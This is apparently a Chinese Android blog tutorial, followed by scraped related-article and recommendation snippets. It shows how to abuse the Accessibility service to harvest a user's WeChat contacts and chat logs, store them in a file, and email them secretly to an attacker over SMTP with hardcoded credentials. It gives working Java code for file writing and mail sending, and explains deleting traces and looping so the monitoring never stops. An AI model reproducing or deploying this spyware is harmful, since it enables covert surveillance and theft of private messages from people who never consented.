1. 首先先展示一下效果图:

2. Accessibility机制

Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();  

遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

获取到这些信息后,我们可以暂时写入文件,以备发送。

private void write(String info){
try{
FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
PrintStream ps = new PrintStream(fos);
ps.println(info);
ps.close();
}
catch (Exception e) {
e.printStackTrace();
}
}

当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182


2. 后台秘密发邮件

当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。

还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

核心代码展示如下:

                        //发送邮件
MailSenderInfo mailInfo = new MailSenderInfo();
mailInfo.setMailServerHost("smtp.163.com");
mailInfo.setMailServerPort("25");
mailInfo.setValidate(true);
mailInfo.setUserName(userid); //你的邮箱地址
mailInfo.setPassword(password);//您的邮箱密码
mailInfo.setFromAddress(from);
mailInfo.setToAddress(to);
mailInfo.setSubject(subject);
mailInfo.setContent(read());
//这个类主要来发送邮件
SimpleMailSender sms = new SimpleMailSender();
//发送文体格式
sms.sendTextMail(mailInfo);

其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

public class SimpleMailSender
{
/**
* 以文本格式发送邮件
* @param mailInfo 待发送的邮件的信息
*/
public boolean sendTextMail(MailSenderInfo mailInfo){
// 判断是否需要身份认证
MyAuthenticator authenticator = null;
Properties pro = mailInfo.getProperties();
if (mailInfo.isValidate())
{
// 如果需要身份认证,则创建一个密码验证器
authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
}
// 根据邮件会话属性和密码验证器构造一个发送邮件的session
Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
try
{
// 根据session创建一个邮件消息
Message mailMessage = new MimeMessage(sendMailSession);
// 创建邮件发送者地址
Address from = new InternetAddress(mailInfo.getFromAddress());
// 设置邮件消息的发送者
mailMessage.setFrom(from);
// 创建邮件的接收者地址,并设置到邮件消息中
Address to = new InternetAddress(mailInfo.getToAddress());
mailMessage.setRecipient(Message.RecipientType.TO,to);
// 设置邮件消息的主题
mailMessage.setSubject(mailInfo.getSubject());
// 设置邮件消息发送的时间
mailMessage.setSentDate(new Date());
// 设置邮件消息的主要内容
String mailContent = mailInfo.getContent();
mailMessage.setText(mailContent);
// 发送邮件
Transport.send(mailMessage);
}
catch (MessagingException ex){
ex.printStackTrace();
}
return false;
}
}

MailSenderInfo类展示如下。

public class MailSenderInfo {
// 发送邮件的服务器的IP和端口
private String mailServerHost = Constant.SERVICE_IP;
private String mailServerPort = Constant.SERVICE_PORT;//一般为25
// 邮件发送者的地址
private String fromAddress;
// 邮件接收者的地址
private String toAddress;
// 登陆邮件发送服务器的用户名和密码
private String userName;
private String password;
// 是否需要身份验证
private boolean validate = true;
// 邮件主题
private String subject;
// 邮件的文本内容
private String content;
/**
* 获得邮件会话属性
*/
public Properties getProperties() {
Properties p = new Properties();
p.put("mail.smtp.host", this.mailServerHost);
p.put("mail.smtp.port", this.mailServerPort);
p.put("mail.smtp.auth", "true");
return p;
}
public String getMailServerHost() {
return mailServerHost;
}
public void setMailServerHost(String mailServerHost) {
this.mailServerHost = mailServerHost;
}
public String getMailServerPort() {
return mailServerPort;
}
public void setMailServerPort(String mailServerPort) {
this.mailServerPort = mailServerPort;
}
public boolean isValidate() {
return validate;
}
public void setValidate(boolean validate) {
this.validate = validate;
}
public String getFromAddress(){
return fromAddress;
}
public void setFromAddress(String fromAddress){
this.fromAddress = fromAddress;
}
public String getPassword(){
return password;
}
public void setPassword(String password){
this.password = password;
}
public String getToAddress(){
return toAddress;
}
public void setToAddress(String toAddress){
this.toAddress = toAddress;
}
public String getUserName(){
return userName;
}
public void setUserName(String userName){
this.userName = userName;
}
public String getSubject(){
return subject;
}
public void setSubject(String subject){
this.subject = subject;
}
public String getContent(){
return content;
}
public void setContent(String textContent){
this.content = textContent;
}
}

Android开发——获取微信聊天记录(后台秘密发邮件)的更多相关文章

  1. Android开发 对接微信分享SDK总结

    原文:Android开发 对接微信分享SDK总结 - Stars-One的杂货小窝 公司项目需要对接微信分享,本来之前准备对接友盟分享的,但友盟的分享实际参数太多,而我又只需要对接一个微信分享,于是便 ...

  2. 用SQLite查看编辑android导出的微信聊天记录

    上一篇我们已经能够完成文字版微信聊天记录导出android了,也即复制或剪切MicroMsg.db文件到电脑,以.db格式结尾的文件是数据库文件(database document),需要安装相关数据 ...

  3. android开发获取网络状态,wifi,wap,2g,3g.工具类(一)

    android开发获取网络状态整理: package com.gzcivil.utils; import android.content.Context; import android.net.Con ...

  4. 发送邮件的几种方法(C#发邮件 和 js前台实现都有)C#后台自动发邮件 js发邮件

    1.后台自动发邮件 1)首先设置邮件参数,这里写在configuration里面 <appSettings> <add key="SMTP" value=&quo ...

  5. Android开发获取多个存储空间的路径(内置SD卡以及外置SD卡)

    Android开发中经常会遇到多存储空间的问题,包括内置存储路径以及外置SD卡,而且有的时候会有多张外置SD卡,此时就需要获取不同的SD卡路径,然后根据需要来写入或者读出文件. 此处给出常用的SD卡工 ...

  6. Android 开发 获取Android设备的屏幕高宽

    获得屏幕的宽度和高度有很多种方法: //1.通过WindowManager获取 DisplayMetrics dm = new DisplayMetrics(); heigth = dm.height ...

  7. H5开发获取微信系统的地址列表

    前段时间做了H5开发的项目,需要是要把微信系统自带的地址也给添加进来,意识也就是说用户可以选择项目的地址和微信自带的地址  效果图是这样的: 对就是这个需求 下面给出H5 页面下的微信添加HTML 然 ...

  8. Android开发 获取视频中的信息(例如预览图或视频时长) MediaMetadataRetriever媒体元数据检索器

    前言 在Android里获取视频的信息主要依靠MediaMetadataRetriever实现 获取最佳视频预览图 所谓的最佳就是MediaMetadataRetriever自己计算的 /** * 获 ...

  9. Android开发 - 获取系统输入法高度的正确姿势

    问题与解决 在Android应用的开发中,有一些需求需要我们获取到输入法的高度,但是官方的API并没有提供类似的方法,所以我们需要自己来实现. 查阅了网上很多资料,试过以后都不理想. 比如有的方法通过 ...

随机推荐

  1. Python实现两已知排好序的列表合并成一个排好序的列表

    #方法0.5--- lst1 = [1, 3, 7, 9, 12] lst2 = [4, 8, 9, 13, 15, 19] def merge(a, b): c = [] h = j = 0 whi ...

  2. What's mean ORA-25191?

    1.在给表授权的时候.报错ORA-25191 检查该表为IOT 表 . --因为不是按照单表方式授予权限,而是按照用户的方式授予权限,所以该表的父亲表都在该用户下,所以这个报错可以忽略. 2/ 在参考 ...

  3. 486 Predict the Winner 预测赢家

    给定一个表示分数的非负整数数组. 玩家1从数组任意一端拿取一个分数,随后玩家2继续从剩余数组任意一端拿取分数,然后玩家1拿,…….每次一个玩家只能拿取一个分数,分数被拿取之后不再可取.直到没有剩余分数 ...

  4. 外文翻译 《How we decide》多巴胺的预言 第三节

    这是第二章的最后一节. 书的导言 本章第一节 本章第二节 本节阅读感言:自我批评是自我提升的妙方. 多巴胺是我们感情的源泉.多巴胺相关的神经系统在不断的记录着我们主观意识没有注意到的一个个模式,将它们 ...

  5. Java并发——结合CountDownLatch源码、Semaphore源码及ReentrantLock源码来看AQS原理

    前言: 如果说J.U.C包下的核心是什么?那我想答案只有一个就是AQS.那么AQS是什么呢?接下来让我们一起揭开AQS的神秘面纱 AQS是什么? AQS是AbstractQueuedSynchroni ...

  6. Git之master ->! [rejected] master (non-fast-forward)

    出现这个情况可能是在克隆项目的时候强制关闭或者是在pull的时候强制关闭 运行命令:git pull --rebase origin master 然后就可以 git push origin mast ...

  7. ES-自然语言处理之中文分词器

    前言 中文分词是中文文本处理的一个基础步骤,也是中文人机自然语言交互的基础模块.不同于英文的是,中文句子中没有词的界限,因此在进行中文自然语言处理时,通常需要先进行分词,分词效果将直接影响词性.句法树 ...

  8. js的本质、全局属性

    一.js的本质 1.js的本质就是处理数据, 数据来自于后台数据库, 所以变量就起到一个临时数据的作用 Ecmascript 制定了js的数据类型 2.数据类型有哪些? 字符串(string).数字( ...

  9. 里特定律 - Little's Law

    里特定律(Little's Law)源自排队理论,是IT系统性能建模中最广为人知的定律. 里特定律揭示了前置时间(Lead Time).在制品数量(Work In Progress, WIP)和吞吐率 ...

  10. innerHTML与IE浏览器内存泄露问题

    使用 sIEve 扫描和筛选 如果大量使用 JavaScript 和 Ajax 技术开发 Web 2.0 应用程序,您很有可能会遇到浏览器的内存泄漏问题.如果您有一个单页应用程序或者一个页面要处理很多 ...